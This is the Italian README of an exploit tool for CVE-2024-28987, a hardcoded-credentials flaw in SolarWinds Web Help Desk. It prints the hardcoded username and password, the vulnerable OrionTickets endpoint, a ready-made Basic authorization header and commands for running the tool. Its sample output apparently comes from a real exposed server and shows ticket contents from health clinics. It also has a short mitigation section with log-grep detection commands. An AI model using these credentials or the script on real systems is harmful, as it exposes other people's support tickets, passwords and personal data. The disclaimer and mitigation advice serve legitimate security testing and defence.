
CVE-2024-28987 — Updated!
**CVE-2024-28987** è una vulnerabilità critica in SolarWinds Web Help Desk (WHD) che consente ad attaccanti remoti di accedere a informazioni sensibili sui ticket utilizzando **credenziali hardcoded**. Questa vulnerabilità ha un **punteggio CVSS di 9.1 (Critico)** ed è attivamente sfruttata in the wild.
CVE-2024-28987 - Exploit delle Credenziali Hardcoded di SolarWinds Web Help Desk
⚠️ DISCLAIMER: Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
📋 Panoramica
CVE-2024-28987 è una vulnerabilità critica in SolarWinds Web Help Desk (WHD) che consente ad attaccanti remoti di accedere a informazioni sensibili dei ticket utilizzando credenziali hardcoded. Questa vulnerabilità ha un punteggio CVSS di 9.1 (Critico) ed è attivamente sfruttata in ambienti reali.
Dettagli della Vulnerabilità
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2024-28987 |
| Punteggio CVSS | 9.1 (Critico) |
| CWE | CWE-798 (Credenziali Hardcoded) |
| Prodotti Interessati | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Versione con Patch | 12.8.3 Hotfix 2 |
| Sfruttamento | Attivamente sfruttata in ambienti reali |
| Aggiunta al KEV di CISA | 15 ottobre 2024 |
Impatto
Un attaccante non autenticato può:
- Accedere a tutti i ticket di supporto contenenti informazioni sensibili
- Visualizzare password temporanee, richieste di reset e credenziali dei servizi condivisi
- Eseguire operazioni CRUD sui ticket tramite l'endpoint
/OrionTickets - Potenzialmente spostarsi (pivot) verso altri sistemi della rete
🔧 Funzionalità
- ✅ Rilevamento automatico della vulnerabilità - Verifica la presenza di credenziali hardcoded
- ✅ Estrazione dei ticket - Recupera tutti i ticket dai sistemi vulnerabili
- ✅ Scansione dei dati sensibili - Identifica password, credenziali, PII e dati medici
- ✅ Molteplici formati di output - JSON e JSONL per set di dati di grandi dimensioni
- ✅ Anteprima interattiva - Mostra i primi 3 ticket prima dell'estrazione
- ✅ Zero dipendenze - Utilizza solo la libreria standard di Python
- ✅ Output colorato - Leggibilità migliorata con colori ANSI
- ✅ Gestione degli errori - Gestione controllata degli errori di connessione
🚀 Avvio Rapido
Prerequisiti
- Python 3.6 o superiore
- Nessuna dipendenza esterna richiesta!
Installazione
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 Struttura dei File
CVE-2024-28987/
├── cve-2024-28987.py # Main exploit script
├── README.md # This file
└── LICENSE # MIT License
File di Output
Quando estrai i ticket, vengono creati i seguenti file:
Standard JSON format (always created)
138_94_193_65_8098_tickets.json
JSONL format (created if > 100 tickets)
***_tickets.jsonl
🔍 Dettagli Tecnici
Credenziali Hardcoded
python USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7"
Endpoint Interessato
text /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
Esempio di Richiesta HTTP
http GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1 Host: vulnerable-target:8098 Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw== Content-Type: application/x-www-form-urlencoded
🛡️ Mitigazione
Azioni Immediate
-
Aggiorna immediatamente a SolarWinds Web Help Desk versione 12.8.3 Hotfix 2 o successiva
-
Controlla i log per accessi sospetti all'endpoint
/OrionTickets -
Monitora eventuali accessi non autorizzati ai dati dei ticket
-
Reimposta tutte le credenziali che potrebbero essere state esposte nei ticket
-
Esamina tutti i ticket di supporto per potenziali fughe di dati
Comandi di Rilevamento
bash
Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
Check current version
cat /opt/WebHelpDesk/version.txt 🚨 Avviso CISA KEV
Questa vulnerabilità è stata aggiunta al catalogo Known Exploited Vulnerabilities (KEV) della CISA. Le organizzazioni sono tenute ad applicare la patch entro la scadenza indicata.
Data di Aggiunta: 15 ottobre 2024
Azione Richiesta: applicare gli aggiornamenti secondo le istruzioni del fornitore
Scadenza: 5 novembre 2024 (21 giorni)
📚 Riferimenti
NVD CVE-2024-28987
Catalogo KEV della CISA
Advisory di Sicurezza SolarWinds
PEP 668 - Gestione degli Ambienti Esterni
🤝 Contributi
I contributi sono benvenuti! Sentiti libero di inviare pull request o aprire issue.
Linee Guida
-
Fai il fork del repository
-
Crea il tuo branch per la funzionalità (git checkout -b feature/AmazingFeature)
-
Committa le tue modifiche (git commit -m 'Add some AmazingFeature')
-
Esegui il push del branch (git push origin feature/AmazingFeature)
-
Apri una Pull Request
📝 Licenza
Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.
⚡ Autore
Darabium - Lavoro iniziale - GitHub
⚠️ Note Importanti
-
Questo strumento è destinato a scopi di ricerca sulla sicurezza e didattici
-
Non utilizzarlo su sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test
-
L'autore non è responsabile di qualsiasi uso improprio di questo strumento
-
Segui sempre le pratiche di responsible disclosure
-
Rispetta le leggi sulla privacy e sulla protezione dei dati nella tua giurisdizione
🌟 Storico delle Stelle
Se trovi utile questo strumento, lascia una ⭐ su GitHub!
📞 Supporto
-
Apri una issue su GitHub per segnalare bug
-
Per questioni di sicurezza, contatta direttamente tramite GitHub
Realizzato con ❤️ per Darabium